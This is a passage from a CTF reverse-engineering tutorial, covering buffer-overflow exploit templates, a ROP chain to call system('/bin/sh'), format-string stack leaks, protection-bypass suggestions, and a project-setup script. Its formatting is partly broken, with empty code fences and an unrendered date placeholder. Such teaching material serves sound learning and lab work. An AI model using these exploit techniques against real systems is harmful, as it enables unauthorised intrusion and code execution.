    # TODO: Find target function address
    # target_address = 0x401234  # Address of win function
    # payload = b'A' * offset + p64(target_address)
    payload = b'A' * (offset + 8)  # Test payload
    '''

        template += '''
    # Send payload
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    exploit()
'''

        return template

# Usage example:
# detector = BufferOverflowDetector("./vulnerable_binary")
# crash_length = detector.fuzz_inputs()
# if crash_length:
#     crash_info = detector.analyze_crash(crash_length)
#     exploit_code = detector.generate_exploit_template(crash_info['offset'])
#     print(exploit_code)
```

*[Screenshot placeholder: Tool output showing detected vulnerabilities and generated exploit]*

---

## Advanced Topics (Brief Overview)

### Return Oriented Programming (ROP)

When direct code injection isn't possible due to protections like NX bit:

```python
# File: rop_example.py
#!/usr/bin/env python3

"""
Basic ROP Chain Example
"""

from pwn import *

# Load binary and find gadgets
elf = ELF('./binary')
rop = ROP(elf)

# Build ROP chain to call system('/bin/sh')
binsh = next(elf.search(b'/bin/sh'))  # Find '/bin/sh' string
rop.call('system', [binsh])

# Create payload
offset = 40
payload = b'A' * offset + rop.chain()
```

### Format String Exploitation

Advanced technique for information leaks and arbitrary writes:

```python
```

```python
# File: format_string_advanced.py
#!/usr/bin/env python3

"""
Format String Exploitation Example
"""

from pwn import *

def leak_stack(p, positions):
    """Leak stack values at specific positions"""
    payload = b'AAAA' + b'%{}$p,' * len(positions)
    payload = payload.format(*positions)

    p.sendline(payload)
    response = p.recvline()

    # Parse leaked addresses
    leaked = []
    for addr_str in response.split(b',')[:-1]:
        if addr_str.startswith(b'0x'):
            leaked.append(int(addr_str, 16))

    return leaked

# Example usage for leaking addresses
# p = process('./format_vuln')
# addresses = leak_stack(p, [6, 7, 8, 9, 10])
```

## Heap Exploitation

Advanced topic involving dynamic memory corruption:

```python
```

```python
# File: heap_exploitation_basics.py
#!/usr/bin/env python3

"""
Basic Heap Exploitation Concepts

Common heap vulnerabilities:
1. Use After Free (UAF)
2. Double Free
3. Heap Overflow
4. Format String on Heap
"""

# Example of detecting heap vulnerabilities
def analyze_heap_functions(binary_path):
    """Analyze binary for heap-related functions"""
    dangerous_funcs = [
        'malloc', 'free', 'realloc', 'calloc',
        'new', 'delete'  # C++ operators
    ]

    elf = ELF(binary_path)
    found_funcs = []

    for func in dangerous_funcs:
        if func in elf.got:
            found_funcs.append(func)

    return found_funcs

# Heap exploitation requires deep understanding of:
# - Heap internals (glibc malloc, ptmalloc2)
# - Chunk structures
# - Free list management
# - Heap metadata corruption techniques
```

---

## Security Protections and Bypasses

### Common Binary Protections

python

```python
# File: protection_analysis.py
#!/usr/bin/env python3

"""
Binary Protection Analysis and Bypass Techniques
"""

from pwn import *

def analyze_protections(binary_path):
    """Analyze binary security protections"""
    elf = ELF(binary_path)

    protections = {
        'RELRO': 'Partial' if elf.relro == 'Partial' else 'Full' if elf.relro else 'None',
        'Stack Canary': 'Found' if elf.canary else 'Not found',
        'NX': 'Enabled' if elf.nx else 'Disabled',
        'PIE': 'Enabled' if elf.pie else 'Disabled',
        'Fortify': 'Enabled' if elf.fortify else 'Disabled'
    }

    return protections

def suggest_bypass_techniques(protections):
    """Suggest bypass techniques based on enabled protections"""
    suggestions = []

    if protections['NX'] == 'Enabled':
        suggestions.append("NX Enabled: Use ROP/JOP chains instead of shellcode")

    if protections['Stack Canary'] == 'Found':
        suggestions.append("Stack Canary: Look for canary leaks or alternative targets")

    if protections['PIE'] == 'Enabled':
        suggestions.append("PIE Enabled: Need information leaks to determine addresses")

    if protections['RELRO'] == 'Partial':
        suggestions.append("Partial RELRO: GOT overwrite might be possible")

    return suggestions

# Example usage:
# protections = analyze_protections('./binary')
```

```
# bypasses = suggest_bypass_techniques(protections)
# for bypass in bypasses:
#     print(f"• {bypass}")
```

*[Screenshot placeholder: Protection analysis output with colored indicators]*

---

## Common Mistakes and How to Avoid Them

### Analysis Phase Mistakes

python

```python
# File: common_mistakes.py
#!/usr/bin/env python3

"""
Common Reverse Engineering Mistakes and Solutions
"""

common_mistakes = {
    "analysis_phase": [
        {
            "mistake": "Not checking file type and architecture first",
            "solution": "Always run 'file binary_name' first",
            "consequence": "Wrong tools/techniques for architecture"
        },
        {
            "mistake": "Ignoring security protections",
            "solution": "Use checksec or similar tools",
            "consequence": "Exploitation attempts fail unexpectedly"
        },
        {
            "mistake": "Not examining all functions in binary",
            "solution": "Use objdump -t or Ghidra symbol tree",
            "consequence": "Missing hidden functionality"
        }
    ],

    "debugging_phase": [
        {
            "mistake": "Not setting appropriate breakpoints",
            "solution": "Break at main, critical functions, and suspected vuln points",
            "consequence": "Missing important program behavior"
        },
        {
            "mistake": "Ignoring program arguments and environment",
            "solution": "Test with various inputs and command line args",
            "consequence": "Missing alternative code paths"
        }
    ],

    "exploitation_phase": [
        {
            "mistake": "Incorrect endianness in payloads",
            "solution": "Use p32()/p64() from pwntools",
```

```
            "consequence": "Addresses don't work as expected"
        },
        {
            "mistake": "Not accounting for null bytes in payload",
            "solution": "Check for null bytes, use encoding if necessary",
            "consequence": "Payload gets truncated"
        },
        {
            "mistake": "Wrong offset calculations",
            "solution": "Use cyclic patterns and verify with debugger",
            "consequence": "Exploit doesn't work reliably"
        }
    ]
}

def print_mistakes_guide():
    """Print formatted guide of common mistakes"""
    for phase, mistakes in common_mistakes.items():
        print(f"\n{phase.upper().replace('_', ' ')} MISTAKES:")
        print("=" * 50)

        for i, mistake in enumerate(mistakes, 1):
            print(f"{i}. MISTAKE: {mistake['mistake']}")
            print(f"   SOLUTION: {mistake['solution']}")
            print(f"   CONSEQUENCE: {mistake['consequence']}")
            print()

if __name__ == "__main__":
    print_mistakes_guide()
```

## Debugging Tips

```
bash
```

```
# File: debugging_tips.sh
#!/bin/bash

echo "=== DEBUGGING TIPS FOR REVERSE ENGINEERING ==="
echo
echo "1. ALWAYS SAVE YOUR WORK:"
echo "   - Document interesting findings immediately"
echo "   - Save GDB sessions: (gdb) set logging on"
echo "   - Screenshot important discoveries"
echo
echo "2. SYSTEMATIC APPROACH:"
echo "   - Follow the same analysis workflow every time"
echo "   - Don't skip steps even for 'simple' binaries"
echo "   - Keep notes of what you've tried"
echo
echo "3. VERIFICATION:"
echo "   - Always test your findings"
echo "   - Verify offsets with different patterns"
echo "   - Test exploits multiple times"
echo
echo "4. LEARNING FROM FAILURES:"
echo "   - Analyze why exploits don't work"
echo "   - Check assumptions about memory layout"
echo "   - Verify target environment matches test environment"
```

---

## Project Template and Workflow

### Standard Project Structure

bash

```
# File: project_structure.txt

ctf-project/
├── .env                    # Environment variables
├── .gitignore              # Git ignore file
├── README.md               # Project documentation
├── requirements.txt        # Python dependencies
├── binaries/               # Target binaries
│   ├── original_binary
│   └── debug_symbols/
├── analysis/               # Analysis artifacts
│   ├── ghidra_project/
│   ├── strings_output.txt
│   ├── functions_list.txt
│   └── memory_map.txt
├── exploits/               # Exploit scripts
│   ├── exploit.py
│   ├── payload_generator.py
│   └── test_exploit.py
├── notes/                  # Analysis notes
│   ├── initial_analysis.md
│   ├── vulnerability_notes.md
│   └── exploitation_log.md
└── tools/                  # Custom tools
    ├── automated_analysis.py
    └── helper_scripts/
```

## Workflow Template

```python
```

```python
# File: workflow_template.py
#!/usr/bin/env python3

"""
Standard CTF Reverse Engineering Workflow Template
"""

import os
import sys
from datetime import datetime
from pathlib import Path

class CTFProject:
    def __init__(self, project_name, binary_path):
        self.project_name = project_name
        self.binary_path = Path(binary_path)
        self.project_dir = Path(f"./ctf-{project_name}")
        self.setup_project_structure()

    def setup_project_structure(self):
        """Create standard project directory structure"""
        directories = [
            'binaries', 'analysis', 'exploits',
            'notes', 'tools', 'analysis/ghidra_project'
        ]

        self.project_dir.mkdir(exist_ok=True)

        for dir_name in directories:
            (self.project_dir / dir_name).mkdir(parents=True, exist_ok=True)

        # Copy binary to project
        if self.binary_path.exists():
            import shutil
            shutil.copy2(self.binary_path, self.project_dir / 'binaries')

        # Create initial files
        self.create_initial_files()

    def create_initial_files(self):
        """Create initial project files"""
        # README.md
        readme_content = f"""# CTF Project: {self.project_name}
```

```
## Binary Information
- **File**: {self.binary_path.name}
- **Started**: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}

## Analysis Progress
- [ ] Initial reconnaissance
- [ ] Static analysis
- [ ] Dynamic analysis
- [ ] Vulnerability identification
- [ ] Exploit development
- [ ] Documentation

## Notes
Add your analysis notes here...

## Exploitation Status
- **Status**: In Progress
- **Vulnerabilities Found**: TBD
- **Exploit Success**: TBD
"""

        with open(self.project_dir / 'README.md', 'w') as f:
            f.write(readme_content)

        # .env file
        env_content = f"""# Project: {self.project_name}
BINARY_NAME={self.binary_path.name}
BINARY_PATH=./binaries/{self.binary_path.name}
PROJECT_DIR={self.project_dir}

# Target information (update as needed)
TARGET_HOST=localhost
TARGET_PORT=1337

# Analysis settings
DEFAULT_ARCH=amd64
DEFAULT_OS=linux
"""

        with open(self.project_dir / '.env', 'w') as f:
            f.write(env_content)

        # requirements.txt
```

```
        requirements = """pwntools>=4.7.0
requests>=2.25.0
python-dotenv>=0.19.0
"""

        with open(self.project_dir / 'requirements.txt', 'w') as f:
            f.write(requirements)

        # .gitignore
        gitignore = """.env
__pycache__/
*.pyc
*.pyo
.DS_Store
.vscode/
.idea/
core
*.core
peda-session-*
.gdb_history
"""

        with open(self.project_dir / '.gitignore', 'w') as f:
            f.write(gitignore)

    def create_analysis_template(self):
        """Create analysis script template"""
        template = f'''#!/usr/bin/env python3

"""
Analysis script for {self.project_name}
Generated on {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
"""

from pwn import *
from dotenv import load_dotenv
import os

# Load environment variables
load_dotenv()

# Configuration
BINARY_PATH = os.getenv('BINARY_PATH', './binaries/{self.binary_path.name}')
context.arch = os.getenv('DEFAULT_ARCH', 'amd64')
```

```
context.os = os.getenv('DEFAULT_OS', 'linux')

def initial_analysis():
    """Perform initial binary analysis"""
    log.info("Starting initial analysis...")

    # Load binary
    elf = ELF(BINARY_PATH)

    # Basic information
    log.info(f"Architecture: {{elf.arch}}")
    log.info(f"Bits: {{elf.bits}}")
    log.info(f"Endianness: {{elf.endian}}")

    # Security protections
    log.info("Security protections:")
    log.info(f"  NX: {{elf.nx}}")
    log.info(f"  PIE: {{elf.pie}}")
    log.info(f"  Canary: {{elf.canary}}")
    log.info(f"  RELRO: {{elf.relro}}")

    # Functions
    log.info("Available functions:")
    for func in elf.symbols:
        if elf.symbols[func] != 0:
            log.info(f"  {{func}}: {{hex(elf.symbols[func])}}")

def static_analysis():
    """Perform static analysis"""
    log.info("Performing static analysis...")

    # String analysis
    import subprocess
    result = subprocess.run(['strings', BINARY_PATH],
                            capture_output=True, text=True)

    interesting_strings = []
    for line in result.stdout.split('\\n'):
        if any(keyword in line.lower() for keyword in
               ['flag', 'password', 'secret', 'admin', 'root']):
            interesting_strings.append(line)

    if interesting_strings:
        log.success("Interesting strings found:")
```

```
        for s in interesting_strings:
            log.info(f"  {{s}}")

def dynamic_analysis():
    """Perform dynamic analysis"""
    log.info("Starting dynamic analysis...")

    # Test basic execution
    try:
        p = process(BINARY_PATH)
        p.sendline(b"test")
        response = p.recv(timeout=2)
        p.close()

        log.info(f"Basic execution response: {{response}}")

    except Exception as e:
        log.error(f"Error during basic execution: {{e}}")

if __name__ == "__main__":
    log.info(f"Analyzing {{BINARY_PATH}}")

    initial_analysis()
    static_analysis()
    dynamic_analysis()

    log.success("Analysis complete!")
'''

        with open(self.project_dir / 'analysis' / 'analyze.py', 'w') as f:
            f.write(template)

        # Make executable
        os.chmod(self.project_dir / 'analysis' / 'analyze.py', 0o755)

# Usage example:
if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <project_name> <binary_path>")
        sys.exit(1)

    project_name = sys.argv[1]
    binary_path = sys.argv[2]
```

```
project = CTFProject(project_name, binary_path)
project.create_analysis_template()

print(f"Project '{project_name}' created successfully!")
print(f"Project directory: {project.project_dir}")
print(f"Next steps:")
print(f"  1. cd {project.project_dir}")
print(f"  2. python3 -m pip install -r requirements.txt")
print(f"  3. python3 analysis/analyze.py")
```

*[Screenshot placeholder: Generated project structure in file manager]*

---

## About the Author

### Connect With Me

- **Website**: https://yourwebsite.com
- **GitHub**: https://github.com/yourusername
- **Twitter/X**: @yourusername
- **LinkedIn**: https://linkedin.com/in/yourprofile

### Published Work

- **"Advanced Buffer Overflow Techniques"** - *Security Research Journal, 2024*
- **"CTF Writeups Collection"** - *Personal Blog, 2024*
- **"Reverse Engineering Workshop Series"** - *DEF CON Villages, 2023*

### Contributing

This guide is open source and contributions are welcome! If you find errors, have suggestions for improvements, or want to add new sections:

1. Fork the repository
2. Create a feature branch
3. Submit a pull request

### Acknowledgments

Special thanks to the cybersecurity community, CTF organizers, and tool developers who make learning reverse engineering accessible to everyone.

---

## Final Thoughts

Reverse engineering is both an art and a science. It requires patience, curiosity, and systematic thinking. Don't get discouraged if challenges seem impossible at first - every expert was once a beginner.

The key to success in reverse engineering is:

1. **Practice consistently** - Work on challenges regularly
2. **Learn from failures** - Every failed attempt teaches you something
3. **Stay curious** - Always ask "how does this work?"
4. **Join communities** - Learn from others and share your knowledge
5. **Document everything** - Your notes will be invaluable later

Remember: The goal isn't just to solve challenges, but to understand the underlying principles that will help you tackle any binary you encounter.

Good luck on your reverse engineering journey!

---

*Last updated: {datetime.now().strftime('%Y-%m-%d')} Version: 1.0*